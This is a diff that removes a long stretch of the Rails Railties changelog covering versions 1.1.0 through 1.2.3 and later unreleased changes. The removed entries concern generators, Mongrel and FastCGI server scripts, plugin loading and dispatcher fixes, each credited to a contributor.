-* Add/Update usage documentation for script/destroy, resource generator and scaffold_resource generator. Closes #7092, #7271, #7267. [bscofield]
-
-* Update to script.aculo.us 1.7.0. [Thomas Fuchs]
-
-* Update to Prototype 1.5.0. [Sam Stephenson]
-
-* Generator: use destination path for diff tempfiles. #7015 [alfeld]
-
-* Fixed that webrick would strip leading newlines and hang connection #4156 [psross]
-
-* Ensure plugins are in the Dependencies.load_once_paths collection by default. [Rick Olson]
- If you really want your plugins to reload, add this to the very top of init.rb:
-
- Dependencies.load_once_paths.delete(lib_path)
-
-* Allow config.to_prepare to work, make the dispatcher safe to 're require'. [Michael Koziarski, Nicholas Seckar]
-
-* Fix scaffold_resource generator so it respects the --pretend argument when creating the routes file. Closes #6852 [fearoffish]
-
-* Fix Webrick Daemon dispatching bug regarding a bad current working directory. Closes #4899 [Rick Olson]
-
-* Make config.plugins affect the load path and the dependencies system. Allows you to control plugin loading order, and keep disabled plugins off the load path. [James Adam]
-
-* Don't generate a components directory in new Rails apps. [Jeremy Kemper]
-
-* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) [David Heinemeier Hansson]
-
-* Added one-letter aliases for the three default environments to script/console, so script/console p will load the production environment (t for test, d for development) [David Heinemeier Hansson]
-
-* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment [David Heinemeier Hansson]
-
-* Update initializer to load Rails::VERSION as soon as possible. Closes #6698. [Nicholas Seckar]
-
-* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) [David Heinemeier Hansson]
-
-* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available [David Heinemeier Hansson]
-
-* Update to Prototype and script.aculo.us [5579]. [Thomas Fuchs]
-
-* Made script/server work with -e and -d when using Mongrel [David Heinemeier Hansson]
-
-* Update to Prototype 1.5.0_rc2 [5550] which makes it work in Opera again [Thomas Fuchs]
-
-* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action [Tobias Lütke]
-
-* Rails::VERSION::STRING should always be available without having to require 'rails/version'. #6244 [fearoffish]
-
-* Update to Prototype 1.5.0_rc2. [Sam Stephenson]
-
-* Add grep-based fallback to reaper, to work in pidless setups [Jamis Buck]
-
-* Only wrap request processing with our USR1 signal handler so FastCGI can trap it and raise an exception while waiting for connections. Idle processes exit immediately rather than waiting for another request; active processes gracefully exit when the request is finished. [Jeremy Kemper]
-
-* Alter prior change to use require_dependency instead of require_or_load. Causes ApplicationController to be reloaded again. Closes #6587. [Nicholas Seckar]
-
-* Rake: use absolute paths to load lib and vendor tasks so they may be run outside of RAILS_ROOT. #6584 [jchris]
-
-* Remove temporary crutch to help ApplicationController be unloaded. Closes #6496. [Nicholas Seckar]
-
-* scaffold_resource generator uses _path named routes and head instead of render :nothing => true. #6545 [Josh Susser]
-
-* Generator can show diff on file collision to help you decide whether to skip or overwrite. #6364 [jeffw, Jeremy Kemper]
-
-* Generated directories are recursively svn added, like mkdir -p. #6416 [NeilW]
-
-* resource and scaffold_resource generators add a restful route to config/routes.rb [Jeremy Kemper]
-
-* Revert environment changes for autoload_paths. [Michael Koziarski]
-
-* Update to latest Prototype, which doesn't serialize disabled form elements, adds clone() to arrays, empty/non-string Element.update() and adds a fixes excessive error reporting in WebKit beta versions [Thomas Fuchs]
-
-* Clean up the output of rake stats, de-emphasise components and apis, and remove the indents for tests [Michael Koziarski]
-
-* Added option to script/process/spawner of specifying the binding address #5133 [Dee Zsombor]
-
-* Update environment.rb comments to include config.autoload_paths. Closes #6478 [caio]
-
-* Update scaffold to use new form_tag block functionality. Closes #6480. [Bob Silva]
-
-* Plugin generator: check for class collisions. #4833 [vinbarnes@gmail.com]
-
-* Mailer generator: handle mailers in modules, set mime_version in unit test. [Jeremy Kemper]
-
-* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. [Michael Koziarski]
-
-* Added config.plugins to control which plugins are loaded #6269 [Stefan Kaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example:
-
- config.plugins = %w[ routing_navigator simply_helpful ]
-
-* Clean up html on included error pages. [Tim Lucas]
-
-* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language [David Heinemeier Hansson]
-
-* Update to latest Prototype and script.aculo.us trunk versions [Thomas Fuchs]
-
-* PostgreSQL: db:test:purge closes open database connections first. #6236 [alex]
-
-* Fixed test:uncommitted on Windows (backslash issue) #4999 [paul@paulbutcher.com]
-
-* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 [Bob Silva]
-
-* Fixed rename_table on SQLite tables with indexes defined #5942 [brandon@opensoul.org]
-
-* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations [David Heinemeier Hansson]
-
-* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [David Heinemeier Hansson]. Examples:
-
- ./script/generate model post title:string created_on:date body:text published:boolean
-
-* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined [David Heinemeier Hansson]
-
-* script/runner can run files, pass on arguments, and be used as a shebang. #6286 [Tuxie, dlpond]
- #!/usr/bin/env /path/to/my/app/script/runner
- # Example: just start using your models as if you are in script/console
- Product.find(:all).each { |product| product.check_inventory }
-
-* Look for rake tasks in plugin subdirs. #6259 [obrie]
-
-* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb [David Heinemeier Hansson]
-
-* Updated prototype.js to 1.5.0_rc1 with latest fixes. [Rick Olson]
-
- - XPATH support
- - Make Form.getElements() return elements in the correct order
- - fix broken Form.serialize return
-
-* session_migration generator adds an index on updated_at. #6207 [grg]
-
-* script/server creates the tmp/pids directory. #6204 [jonathan]
-
-* Fix script/console --sandbox for internal transactions changes. #5738 [Chris McGrath, charles.gerungan@gmail.com]
-
-* Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As
-documented in initializer.rb, the workaround is:
-
- config.autoload_paths += Dir[RAILS_ROOT + '/app/models/*/']
-
-References #6031. [Nicholas Seckar]
-
-* Update to script.aculo.us 1.6.3 [Thomas Fuchs]
-
-* Update to Prototype 1.5.0_rc1 [sam]
-
-* Formally Deprecate the old rake tasks. [Michael Koziarski]
-
-* Thoroughly test the FCGI dispatcher. #5970 [Kevin Clark]
-
-* Remove Dir.chdir in the Webrick DispatchServlet#initialize method. Fix bad path errors when trying to load config/routes.rb. [Rick Olson]
-
-* Tighten rescue clauses. #5985 [james@grayproductions.net]
-
-* Cleaning up tests. [Kevin Clark, Jeremy Kemper]
-
-* Add Dependencies.load_once_paths. [Nicholas Seckar]
-
-* Updated to script.aculo.us 1.6.2 [Thomas Fuchs]
-
-* Assign Routing.controller_paths; fix script/about and rails info controller. [Nicholas Seckar]
-
-* Don't warn dispatcher of Reloadable deprecations. [Nicholas Seckar]
-
-* Rearrange application resetting and preparation, fix bug with leaking subclasses hash in ActiveRecord::Base [Rick Olson]
-
- ActiveRecord::Base.reset_subclasses is called before Dependencies are cleared and classes removed.
- ActiveRecord::Base.instantiate_observers is called during a Dispatcher preparation callback.
-
-* Add missing mock directories from the autoload_paths configuration. [Rick Olson]
-
-* Nested controller scaffolding also nests the generated layout. [iain d broadfoot]
-
-* Add "require 'dispatcher'" to webrick server in the continuing quest to squash webrick weirdness. [Nicholas Seckar]
-
-* Add autoload_paths support to Initializer. [Nicholas Seckar]
-
-* Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743. [Rick Olson]
-
-* Clarify usage of script/plugin source. Closes #5344. [James Adam]
-
-* Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. [Nicholas Seckar]
-
-* Tweak the Rails load order so observers are loaded after plugins, and reloaded in development mode. Closed #5279. [Rick Olson]
-
-* Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 [mats@imediatec.co.uk]
-
-* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer. #5679 [Shugo Maeda]
-
-* Fixed the failsafe response so it uses either the current recognized controller or ApplicationController. [Rick Olson]
-
-* Make sure script/reaper only reaps dispatcher pids by default, and not the spawner's pid. [Jamis Buck]
-
-* Fix script/plugin about so it uses about.yml and not meta.yml. [James Adam]
-
-* Dispatcher processes rescued actions with the same controller that processed the request. #4625 [sd@notso.net]
-
-* rails -d frontbase to create a new project with a frontbase database.yml. #4945 [mlaster@metavillage.com]
-
-* Ensure the logger is initialized. #5629 [mike@clarkware.com]
-
-* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [David Heinemeier Hansson]. Examples:
-
- spawner # starts instances on 8000, 8001, and 8002 using Mongrel if available
- spawner fcgi # starts instances on 8000, 8001, and 8002 using FCGI
- spawner mongrel -i 5 # starts instances on 8000, 8001, 8002, 8003, and 8004 using Mongrel
- spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to 9109 using Mongrel if available
- spawner -p 9100 -r 5 # starts 3 instances counting from 9100 to 9102 and attempts start them every 5 seconds
-
- Also note that script/process/reaper is Mongrel capable. So the combination of spawner and reaper is a built-in alternative to something like mongrel_cluster.
-
-* Update scaffolding functional tests to use :id => people(:first) instead of :id => 1. #5612 [evan@protest.net]
-
-* db:test:clone should remove existing tables before reloading the schema. #5607 [sveit@tradeharbor.com]
-
-* Fixed migration generation for class names like ACLController #5197 [brad@madriska.com]
-
-* Added show_source_list and show_call_stack to breakpoints to make it easier to get context #5476 [takiuchi@drecom.co.jp]. Examples:
-
- irb(#<TopController:0x40822a68>):002:0> show_source_list
- 0001 class TopController < ApplicationController
- 0002 def show
- 0003-> breakpoint
- 0004 end
- 0005
- 0006 def index
- 0007 end
- 0008
- => "/path/to/rails/root/app/controllers/top_controller.rb"
-
- irb(#<TopController:0x40822a68>):004:0> show_call_stack 3
- vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
- vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
- app/controllers/top_controller.rb:3:in `show'
- => "/path/to/rails/root/app/controllers/top_controller.rb:3"
-
-* Generate scaffold layout in subdirectory appropriate to its module nesting. #5511 [nils@alumni.rice.edu]
-
-* Mongrel: script/server tails the rails log like it does with lighttpd. Prefer mongrel over lighttpd. #5541 [mike@clarkware.com]
-
-* Don't assume Active Record is available. #5497 [bob@sporkmonger.com]
-
-* Mongrel: script/server works on Win32. #5499 [jeremydurham@gmail.com]
-
-* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. [Nick Sieger]
-
-* Mongrel support for script/server. #5475 [jeremydurham@gmail.com]
-
-* Fix script/plugin so it doesn't barf on invalid URLs [Rick Olson]
-
-* Fix plugin install bug at dir with space. (closes #5359) [Yoshimasa NIWA]
-
-* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly. [Rick Olson]
-
-* Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 [takiuchi@drecom.co.jp]
-
-* Create temporary dirs relative to RAILS_ROOT when running script/server #5014 [elliot@townx.org]
-
-* Minor tweak to dispatcher to use recognize instead of recognize!, as per the new routes. [Jamis Buck]
-
-* Make "script/plugin install" work with svn+ssh URLs. [Sam Stephenson]
-
-* Added lib/ to the directories that will get application docs generated [David Heinemeier Hansson]
-
-* Add observer generator. Closes #5167. [François Beausoleil]
-
-* Session migration generator obeys pluralize_table_names. #5145 [James Adam]
-
-* rake test:recent understands subdirectories. #2925 [jerrett@bravenet.com]
-
-* The app generator detects the XAMPP package's MySQL socket location. #3832 [elliot@townx.org]
-
-* The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 [rcoder, rails-bug@owl.me.uk]
-
-* Distinguish the spawners for different processes [David Heinemeier Hansson]
-
-* Added -n/--process to script/process/spawner name the process pid (default is dispatch) [David Heinemeier Hansson]
-
-* Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) [Julian Tarkhanov]
-
-* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
-
-* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids [David Heinemeier Hansson]
-
-* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids [David Heinemeier Hansson]
-
-
-*1.2.3* (March 12th, 2007)
-
-* Ruby 1.8.6 compatibility
-
-* Windows: include MinGW in RUBY_PLATFORM check. #2982 [okkez000@gmail.com, Kaspar Schiess]
-
-* Stop swallowing errors during rake test [Michael Koziarski]
-
-
-*1.2.2* (February 5th, 2007)
-
-* Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ [Chad Fowler]
-
-* Require the dispatcher for Rails::Configuration#to_prepare. [Rick Olson]
-
-
-*1.2.1* (January 16th, 2007)
-
-* Updated to Active Record 1.15.1, Action Pack 1.13.1, Action Mailer 1.3.1, Action Web Service 1.2.1
-
-
-*1.2.0* (January 16th, 2007)
-
-* Update to Prototype 1.5.0. [Sam Stephenson]
-
-* Generator: use destination path for diff tempfiles. #7015 [alfeld]
-
-* Fixed that webrick would strip leading newlines and hang connection #4156 [psross]
-
-* Ensure plugins are in the Dependencies.load_once_paths collection by default. [Rick Olson]
- If you really want your plugins to reload, add this to the very top of init.rb:
-
- Dependencies.load_once_paths.delete(lib_path)
-
-* Fix scaffold_resource generator so it respects the --pretend argument when creating the routes file. Closes #6852 [fearoffish]
-
-* Fix Webrick Daemon dispatching bug regarding a bad current working directory. Closes #4899 [Rick Olson]
-
-* Make config.plugins affect the load path and the dependencies system. Allows you to control plugin loading order, and keep disabled plugins off the load path. [James Adam]
-
-* Don't generate a components directory in new Rails apps. [Jeremy Kemper]
-
-* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) [David Heinemeier Hansson]
-
-* Deprecated the name route "root" as it'll be used as a shortcut for map.connect '' in Rails 2.0 [David Heinemeier Hansson]
-
-* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment [David Heinemeier Hansson]
-
-* Update initializer to load Rails::VERSION as soon as possible. Closes #6698. [Nicholas Seckar]
-
-* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) [David Heinemeier Hansson]
-
-* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available [David Heinemeier Hansson]
-
-* Update to Prototype and script.aculo.us [5579]. [Sam Stephenson, Thomas Fuchs]
-
-* Made script/server work with -e and -d when using Mongrel [David Heinemeier Hansson]
-
-* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action [Tobias Lütke]
-
-* Rails::VERSION::STRING should always be available without having to require 'rails/version'. #6244 [fearoffish]
-
-* Add grep-based fallback to reaper, to work in pidless setups [Jamis Buck]
-
-* Only wrap request processing with our USR1 signal handler so FastCGI can trap it and raise an exception while waiting for connections. Idle processes exit immediately rather than waiting for another request; active processes gracefully exit when the request is finished. [Jeremy Kemper]
-
-* Alter prior change to use require_dependency instead of require_or_load. Causes ApplicationController to be reloaded again. Closes #6587. [Nicholas Seckar]
-
-* Rake: use absolute paths to load lib and vendor tasks so they may be run outside of RAILS_ROOT. #6584 [jchris]
-
-* scaffold_resource generator uses _path named routes and head instead of render :nothing => true. #6545 [Josh Susser]
-
-* Generator can show diff on file collision to help you decide whether to skip or overwrite. #6364 [jeffw, Jeremy Kemper]
-
-* Generated directories are recursively svn added, like mkdir -p. #6416 [NeilW]
-
-* resource and scaffold_resource generators add a restful route to config/routes.rb [Jeremy Kemper]
-
-* Revert environment changes for autoload_paths. [Michael Koziarski]
-
-* Clean up the output of rake stats, de-emphasise components and apis, and remove the indents for tests [Michael Koziarski]
-
-* Added option to script/process/spawner of specifying the binding address #5133 [Dee Zsombor]
-
-* Update environment.rb comments to include config.autoload_paths. Closes #6478 [caio]
-
-* Update scaffold to use new form_tag block functionality. Closes #6480. [Bob Silva]
-
-* Plugin generator: check for class collisions. #4833 [vinbarnes@gmail.com]
-
-* Mailer generator: handle mailers in modules, set mime_version in unit test. [Jeremy Kemper]
-
-* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. [Michael Koziarski]
-
-* Added config.plugins to control which plugins are loaded #6269 [Stefan Kaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example:
-
- config.plugins = %w[ routing_navigator simply_helpful ]
-
-* Clean up html on included error pages. [Tim Lucas]
-
-* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language [David Heinemeier Hansson]
-
-* Update to latest Prototype and script.aculo.us trunk versions [Thomas Fuchs]
-
-* PostgreSQL: db:test:purge closes open database connections first. #6236 [alex]
-
-* Fixed test:uncommitted on Windows (backslash issue) #4999 [paul@paulbutcher.com]
-
-* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 [Bob Silva]
-
-* Fixed rename_table on SQLite tables with indexes defined #5942 [brandon@opensoul.org]
-
-* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations [David Heinemeier Hansson]
-
-* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [David Heinemeier Hansson]. Examples:
-
- ./script/generate model post title:string created_on:date body:text published:boolean
-
-* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined [David Heinemeier Hansson]
-
-* script/runner can run files, pass on arguments, and be used as a shebang. #6286 [Tuxie, dlpond]
- #!/usr/bin/env /path/to/my/app/script/runner
- # Example: just start using your models as if you are in script/console
- Product.find(:all).each { |product| product.check_inventory }
-
-* Look for rake tasks in plugin subdirs. #6259 [obrie]
-
-* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb [David Heinemeier Hansson]
-
-* session_migration generator adds an index on updated_at. #6207 [grg]
-
-* script/server creates the tmp/pids directory. #6204 [jonathan]
-
-* Fix script/console --sandbox for internal transactions changes. #5738 [Chris McGrath, charles.gerungan@gmail.com]
-
-* Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As
-documented in initializer.rb, the workaround is:
-
- config.autoload_paths += Dir[RAILS_ROOT + '/app/models/*/']
-
-References #6031. [Nicholas Seckar]
-
-* Update to script.aculo.us 1.6.3 [Thomas Fuchs]
-
-* Formally Deprecate the old rake tasks. [Michael Koziarski]
-
-* Thoroughly test the FCGI dispatcher. #5970 [Kevin Clark]
-
-* Remove Dir.chdir in the Webrick DispatchServlet#initialize method. Fix bad path errors when trying to load config/routes.rb. [Rick Olson]
-
-* Tighten rescue clauses. #5985 [james@grayproductions.net]
-
-* Cleaning up tests. [Kevin Clark, Jeremy Kemper]
-
-* Add Dependencies.load_once_paths. [Nicholas Seckar]
-
-* Assign Routing.controller_paths; fix script/about and rails info controller. [Nicholas Seckar]
-
-* Don't warn dispatcher of Reloadable deprecations. [Nicholas Seckar]
-
-* Rearrange application resetting and preparation, fix bug with leaking subclasses hash in ActiveRecord::Base [Rick Olson]
-
- ActiveRecord::Base.reset_subclasses is called before Dependencies are cleared and classes removed.
- ActiveRecord::Base.instantiate_observers is called during a Dispatcher preparation callback.
-
-* Add missing mock directories from the autoload_paths configuration. [Rick Olson]
-
-* Nested controller scaffolding also nests the generated layout. [iain d broadfoot]
-
-* Add "require 'dispatcher'" to webrick server in the continuing quest to squash webrick weirdness. [Nicholas Seckar]
-
-* Add autoload_paths support to Initializer. [Nicholas Seckar]
-
-* Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743. [Rick Olson]
-
-* Clarify usage of script/plugin source. Closes #5344. [James Adam]
-
-* Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. [Nicholas Seckar]
-
-* Tweak the Rails load order so observers are loaded after plugins, and reloaded in development mode. Closed #5279. [Rick Olson]
-
-* Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 [mats@imediatec.co.uk]
-
-* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer. #5679 [Shugo Maeda]
-
-* Fixed the failsafe response so it uses either the current recognized controller or ApplicationController. [Rick Olson]
-
-* Make sure script/reaper only reaps dispatcher pids by default, and not the spawner's pid. [Jamis Buck]
-
-* Fix script/plugin about so it uses about.yml and not meta.yml. [James Adam]
-
-* Dispatcher processes rescued actions with the same controller that processed the request. #4625 [sd@notso.net]
-
-* rails -d frontbase to create a new project with a frontbase database.yml. #4945 [mlaster@metavillage.com]
-
-* Ensure the logger is initialized. #5629 [mike@clarkware.com]
-
-* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [David Heinemeier Hansson]. Examples:
-
- spawner # starts instances on 8000, 8001, and 8002 using Mongrel if available
- spawner fcgi # starts instances on 8000, 8001, and 8002 using FCGI
- spawner mongrel -i 5 # starts instances on 8000, 8001, 8002, 8003, and 8004 using Mongrel
- spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to 9109 using Mongrel if available
- spawner -p 9100 -r 5 # starts 3 instances counting from 9100 to 9102 and attempts start them every 5 seconds
-
- Also note that script/process/reaper is Mongrel capable. So the combination of spawner and reaper is a built-in alternative to something like mongrel_cluster.
-
-* Update scaffolding functional tests to use :id => people(:first) instead of :id => 1. #5612 [evan@protest.net]
-
-* db:test:clone should remove existing tables before reloading the schema. #5607 [sveit@tradeharbor.com]
-
-* Fixed migration generation for class names like ACLController #5197 [brad@madriska.com]
-
-* Added show_source_list and show_call_stack to breakpoints to make it easier to get context #5476 [takiuchi@drecom.co.jp]. Examples:
-
- irb(#<TopController:0x40822a68>):002:0> show_source_list
- 0001 class TopController < ApplicationController
- 0002 def show
- 0003-> breakpoint
- 0004 end
- 0005
- 0006 def index
- 0007 end
- 0008
- => "/path/to/rails/root/app/controllers/top_controller.rb"
-
- irb(#<TopController:0x40822a68>):004:0> show_call_stack 3
- vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
- vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
- app/controllers/top_controller.rb:3:in `show'
- => "/path/to/rails/root/app/controllers/top_controller.rb:3"
-
-* Generate scaffold layout in subdirectory appropriate to its module nesting. #5511 [nils@alumni.rice.edu]
-
-* Mongrel: script/server tails the rails log like it does with lighttpd. Prefer mongrel over lighttpd. #5541 [mike@clarkware.com]
-
-* Don't assume Active Record is available. #5497 [bob@sporkmonger.com]
-
-* Mongrel: script/server works on Win32. #5499 [jeremydurham@gmail.com]
-
-* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. [Nick Sieger]
-
-* Mongrel support for script/server. #5475 [jeremydurham@gmail.com]
-
-* Fix script/plugin so it doesn't barf on invalid URLs [Rick Olson]
-
-* Fix plugin install bug at dir with space. (closes #5359) [Yoshimasa NIWA]
-
-* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly. [Rick Olson]
-
-* Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 [takiuchi@drecom.co.jp]
-
-* Create temporary dirs relative to RAILS_ROOT when running script/server #5014 [elliot@townx.org]
-
-* Minor tweak to dispatcher to use recognize instead of recognize!, as per the new routes. [Jamis Buck]
-
-* Make "script/plugin install" work with svn+ssh URLs. [Sam Stephenson]
-
-* Added lib/ to the directories that will get application docs generated [David Heinemeier Hansson]
-
-* Add observer generator. Closes #5167. [François Beausoleil]
-
-* Session migration generator obeys pluralize_table_names. #5145 [James Adam]
-
-* rake test:recent understands subdirectories. #2925 [jerrett@bravenet.com]
-
-* The app generator detects the XAMPP package's MySQL socket location. #3832 [elliot@townx.org]
-
-* The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 [rcoder, rails-bug@owl.me.uk]
-
-* Distinguish the spawners for different processes [David Heinemeier Hansson]
-
-* Added -n/--process to script/process/spawner name the process pid (default is dispatch) [David Heinemeier Hansson]
-
-* Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) [Julian Tarkhanov]
-
-* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
-
-* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids [David Heinemeier Hansson]
-
-* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids [David Heinemeier Hansson]
-
-
-*1.1.6* (August 10th, 2006)
-
-* Additional security patch
-
-
-*1.1.5* (August 8th, 2006)
-
-* Mention in docs that config.frameworks doesn't work when getting Rails via Gems. #4857 [Alisdair McDiarmid]
-
-* Change the scaffolding layout to use yield rather than @content_for_layout. [Marcel Molina Jr.]
-
-* Includes critical security patch
-
-
-*1.1.4* (June 29th, 2006)
-
-* Remove use of opts.on { |options[:name] } style hash assignment. References #4440. [headius@headius.com]
-
-* Updated to Action Pack 1.12.3, ActionWebService 1.1.4, ActionMailer 1.2.3
-
-
-*1.1.3* (June 27th, 2006)
-
-* Updated to Active Record 1.14.3, Action Pack 1.12.2, ActionWebService 1.1.3, ActionMailer 1.2.2
-
-
-*1.1.2* (April 9th, 2006)
-
-* Mention in docs that config.frameworks doesn't work when getting Rails via Gems. Closes #4857. [Alisdair McDiarmid]
-
-* Change the scaffolding layout to use yield rather than @content_for_layout. [Marcel Molina Jr.]
-
-* Added rake rails:update:configs to update config/boot.rb from the latest (also included in rake rails:update) [David Heinemeier Hansson]
-
-* Fixed that boot.rb would set RAILS_GEM_VERSION twice, not respect an uncommented RAILS_GEM_VERSION line, and not use require_gem [David Heinemeier Hansson]
-
-
-*1.1.1* (April 6th, 2006)
-
-* Enhances plugin#discover allowing it to discover svn:// like URIs (closes #4565) [ruben.nine@gmail.com]
-
-* Update to Prototype 1.5.0_rc0 [Sam Stephenson]
-
-* Fixed that the -r/--ruby path option of the rails command was not being respected #4549 [ryan.raaum@gmail.com]
-
-* Added that Dispatcher exceptions should not be shown to the user unless a default log has not been configured. Instead show public/500.html [David Heinemeier Hansson]
-
-* Fixed that rake clone_structure_to_test should quit on pgsql if the dump is unsuccesful #4585 [augustz@augustz.com]
-
-* Fixed that rails --version should have the return code of 0 (success) #4560 [blair@orcaware.com]
-
-* Install alias so Rails::InfoController is accessible at /rails_info. Closes #4546. [Nicholas Seckar]
-
-* Fixed that spawner should daemonize if running in repeat mode [David Heinemeier Hansson]
-
-* Added TAG option for rake rails:freeze:edge, so you can say rake rails:freeze:edge TAG=rel_1-1-0 to lock to the 1.1.0 release [David Heinemeier Hansson]
-
-* Applied Prototype $() performance patches (#4465, #4477) and updated script.aculo.us [Sam Stephenson, Thomas Fuchs]
-
-* Use --simple-prompt instead of --prompt-mode simple for console compatibility with Windows/Ruby 1.8.2 #4532 [starr@starrnhorne.com]
-
-* Make Rails::VERSION implicitly loadable #4491. [Nicholas Seckar]
-
-* Fixed rake rails:freeze:gems #4518 [benji@silverinsanity.com]
-
-* Added -f/--freeze option to rails command for freezing the application to the Rails version it was generated with [David Heinemeier Hansson]
-
-* Added gem binding of apps generated through the rails command to the gems of they were generated with [Nicholas Seckar]
-
-* Added expiration settings for JavaScript, CSS, HTML, and images to default lighttpd.conf [David Heinemeier Hansson]
-
-* Added gzip compression for JavaScript, CSS, and HTML to default lighttpd.conf [David Heinemeier Hansson]
-
-* Avoid passing escapeHTML non-string in Rails' info controller [Nicholas Seckar]
-
-
-*1.1.0* (March 27th, 2006)
-
-* Allow db:fixtures:load to load a subset of the applications fixtures. [Chad Fowler]
-
- ex.
-
- rake db:fixtures:load FIXTURES=customers,plans
-
-* Update to Prototype 1.5.0_pre1 [Sam Stephenson]
-
-* Update to script.aculo.us 1.6 [Thomas Fuchs]
-
-* Add an integration_test generator [Jamis Buck]
-
-* Make all ActionView helpers available in the console from the helper method for debugging purposes. n.b.: Only an 80% solution. Some stuff won't work, most will. [Marcel Molina Jr.]
-
- ex.
-
- >> puts helper.options_for_select([%w(a 1), %w(b 2), %w(c 3)])
- <option value="1">a</option>
- <option value="2">b</option>
- <option value="3">c</option>
- => nil
-
-* Replaced old session rake tasks with db:sessions:create to generate a migration, and db:sessions:clear to remove sessions. [Rick Olson]
-
-* Reject Ruby 1.8.3 when loading Rails; extract version checking code. [Chad Fowler]
-
-* Remove explicit loading of RailsInfo and RailsInfoController. [Nicholas Seckar]
-
-* Move RailsInfo and RailsInfoController to Rails::Info and Rails::InfoController. [Nicholas Seckar]
-
-* Extend load path with Railties' builtin directory to make adding support code easy. [Nicholas Seckar]
-
-* Fix the rails_info controller by explicitly loading it, and marking it as not reloadable. [Nicholas Seckar]
-
-* Fixed rails:freeze:gems for Windows #3274 [paul@paulbutcher.com]
-
-* Added 'port open?' check to the spawner when running in repeat mode so we don't needlessly boot the dispatcher if the port is already in use anyway #4089 [guy.naor@famundo.com]
-
-* Add verification to generated scaffolds, don't allow get for unsafe actions [Michael Koziarski]
-
-* Don't replace application.js in public/javascripts if it already exists [Cody Fauser]
-
-* Change test:uncommitted to delay execution of `svn status` by using internal Rake API's. [Nicholas Seckar]
-
-* Use require_library_or_gem to load rake in commands/server.rb. Closes #4205. [rob.rasmussen@gmail.com]
-
-* Use the Rake API instead of shelling out to create the tmp directory in commands/server.rb. [Chad Fowler]
-
-* Added a backtrace to the evil WSOD (White Screen of Death). Closes #4073. TODO: Clearer exceptions [Rick Olson]
-
-* Added tracking of database and framework versions in script/about #4088 [charles.gerungan@gmail.com/Rick Olson]
-
-* Added public/javascripts/application.js as a sample since it'll automatically be included in javascript_include_tag :defaults [David Heinemeier Hansson]
-
-* Added socket cleanup for lighttpd, both before and after [David Heinemeier Hansson]
-
-* Added automatic creation of tmp/ when running script/server [David Heinemeier Hansson]
-
